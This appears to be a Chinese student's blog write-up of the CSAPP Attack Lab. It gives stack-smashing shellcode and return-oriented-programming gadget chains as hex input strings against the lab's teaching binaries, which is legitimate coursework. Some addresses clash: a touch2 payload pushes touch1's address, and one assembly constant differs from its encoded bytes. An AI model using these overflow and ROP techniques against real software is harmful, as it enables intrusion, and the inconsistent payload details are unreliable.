0%

[CSAPP Lab]-III Attack Lab

Part I: Code Injection Attacks

Level 1

第一个还是比较简单的,查一下文档ctargettest 函数是这样的

1
2
3
4
5
6
void test ()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

而得分的目标就是用缓冲区溢出去调用 touch1

1
2
3
4
5
6
7
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

而把 getbuf 反汇编出来之后是这样的

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

发现 getbuf 这个函数每次总是将栈顶指针(%rsp)移动 0x28(40) 位,所以我们的输入只要是超过 40 位的部分就会出现缓冲区溢出

我们的目的是去执行 touch1 这个函数,先找到函数所在的地址

1
2
3
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
...

所以我们只需要随便输入 40 位,然后在 40 位的最后添加上 touch1 的地址 4017c0 就可以了

1
2
3
4
5
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
C0 17 40 00

(注意 Little Endian 的顺序)

Level 2

Level 2 就有点麻烦了

1
2
3
4
5
6
7
8
9
10
11
12
13
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!"):
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
}

可以看出除了需要调用 touch2 函数之外,传入的参数还需要与 cookie 相同,这里我下载的 self-study 中的 cookie 是

1
0x59b997fa

并且再去看一下反汇编的结果,touch2 的起始地址是在 0x4017ec

除了需要把参数传到 rdi 中,还需要讲 touch2 的地址压入栈中,所需要的汇编部分是这样的

1
2
3
mov $0x59b997fa,%rdi
pushq $0x4017ec
retq

gcc -c 生成并且 objdump -d 反汇编出来

1
2
3
4
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 c0 17 40 00 pushq $0x4017c0
c: c3 retq

但是我们怎么去执行这些语句呢,答案是这些语句将会随着我们的输入一并压入栈中,讲溢出的缓冲区部分设置为这些语句的地址,这样 getbuf return 后就会去执行我们的代码

要得到这些语句的地址,需要用 GDB 调试,先把断点设置在 Gets 的下一行 b *0x4017b4 ,然后运行程序,到断点时打印寄存器的值 info registers

这里我的 rsp 的值是 0x5561dc78 (在不同的电脑上可能不同),所以我们只要在缓冲区溢出的部分添加上 rsp 的值就可以跳转到我们的语句

1
2
3
4
5
6
7
48 c7 c7 fa 97 b9 59 // mov    $0x59b997fa,%rdi
68 c0 17 40 00 // pushq $0x4017c0
c3 // retq
00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
78 dc 61 55 // rsp

Level 3

Level 3 和 2 类似,不过这一次需要传入一个字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

先把 cookie 转换成字符串是这样的 35 39 62 39 39 37 66 61 00 ,注意要在最后加上 00 表示字符串的结束

观察调用 hexmatch 前后的栈的情况

1
2
3
4
5
6
(gdb) x /20wx 0x5561dc78
0x5561dc78: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000
0x5561dc98: 0x00000000 0x00000000 0x55586000 0x00000000
0x5561dca8: 0x00000009 0x00000000 0x00401f24 0x00000000
0x5561dcb8: 0x00000000 0x00000000 0xf4f4f4f4 0xf4f4f4f4
1
2
3
4
5
6
(gdb) x /20wx 0x5561dc78
0x5561dc78: 0x0f820d00 0xc5d11383 0x00606010 0x00000000
0x5561dc88: 0x55685fe8 0x00000000 0x00000004 0x00000000
0x5561dc98: 0x00401916 0x00000000 0x555860000 0x00000000
0x5561dca8: 0x00000009 0x00000000 0x00401f24 0x00000000
0x5561dcb8: 0x00000000 0x00000000 0xf4f4f4f4 0xf4f4f4f4

0x5561dca8 之后的地址在调用前后是没有改变的,所以我们将字符串放在那里就可以

0x5561dc780x5561dc9f 是输入的 40 个字符,所以我们把字符串放到 0x5561dca80x5561dcae 的位置(注意//处)

按照 Level 2 类似的方法

1
2
3
mov $0x5561dcc8,%rdi
push $0x4018fa # touch3
ret

然后输入就应该是这样的

1
2
3
4
5
6
7
8
9
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 使缓冲区溢出
78 dc 61 55 00 00 00 00 // 指向新加入的语句(第一行)

35 39 62 39 39 37 66 61 00 // cookie Addr:0x5561dca8

Part II: Return-Oriented Programming

之前的方法我们是在 Stack 中插入可以执行的代码,但是现代操作系统采用了一些手段来避免这样的事情

  • 栈的位置是随机的,无法确定跳转的位置
  • 栈多了一个是否可以执行的属性,没发在栈中添加指令

所以就需要新的方法了,Return-Oriented Programming(ROP) 正是利用了程序中已经存在的指令

movq

popq

movl

Level 2

ROP 的 Level 2 和之前的是一样的,需要我们将 cookie 作为参数调用 touch2

问题的关键在于如何搞到 cookie ,找一下 farm 中的函数,我们可以使用的是 popq

  1. popq %rax
  2. mov %rax,%rdi
  3. 呼叫 touch2 函数

查表可知 popq %rax 对应的 16 进制是 58 ,而且要在后边出现 c3 不过在反汇编的文件中并没有找到这两个指令连在一起的地方,这里需要的一个知识 NOP 指令,这个指令在 x86-64 中是 0x90 ,作用就是没有作用…

1
2
3
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq

在反汇编中找到了 popq %rax 的指令地址是 0x4019ab

同理, mov %rax,%rdi 的地址是 0x4019a2, touch2 的地址是 0x4017ec

所以我们的 Stack 应该是这样的

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 使缓冲区溢出
ab 19 40 00 00 00 00 00 // popq %rax
fa 97 b9 59 00 00 00 00 // cookie
a2 19 40 00 00 00 00 00 // mov %rax,%rdi
ec 17 40 00 00 00 00 00 // touch2

Level 3

这个需要传入字符串,需要 YY ,因为需要在已有的指令中寻找,所以说需要在寄存器中不断的操作,大概的思路如下

1
2
3
4
5
6
7
8
9
10
11
栈顶
movq %rsp,%rax
movq %rax,%rdi
popq %rax
这里是一个offset
movl %rax,%rdx
movl %rdx,%rcx
movl %rcx,%rsi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 // 溢出
06 1a 40 00 00 00 00 00 // movq %rsp,%rax
a2 19 40 00 00 00 00 00 // movq %rax,%rdi
ab 19 40 00 00 00 00 00 // popq %rax
48 00 00 00 00 00 00 00 // 0x48 = 72 共有 9 条指令,每条 8 个 Byte
dd 19 40 00 00 00 00 00 // movl %rax,%rdx
69 1a 40 00 00 00 00 00 // movl %rdx,%rcx
13 1a 40 00 00 00 00 00 // movl %rcx,%rsi
d6 19 40 00 00 00 00 00 // lea (%rdi,%rsi,1),%rax
c5 19 40 00 00 00 00 00 // movq %rax,%rdi
fa 18 40 00 00 00 00 00 // touch3
35 39 62 39 39 37 66 61 00 // cookie

终于搞定,计算机器语言的偏移量真不容易,还是高级语言舒服啊…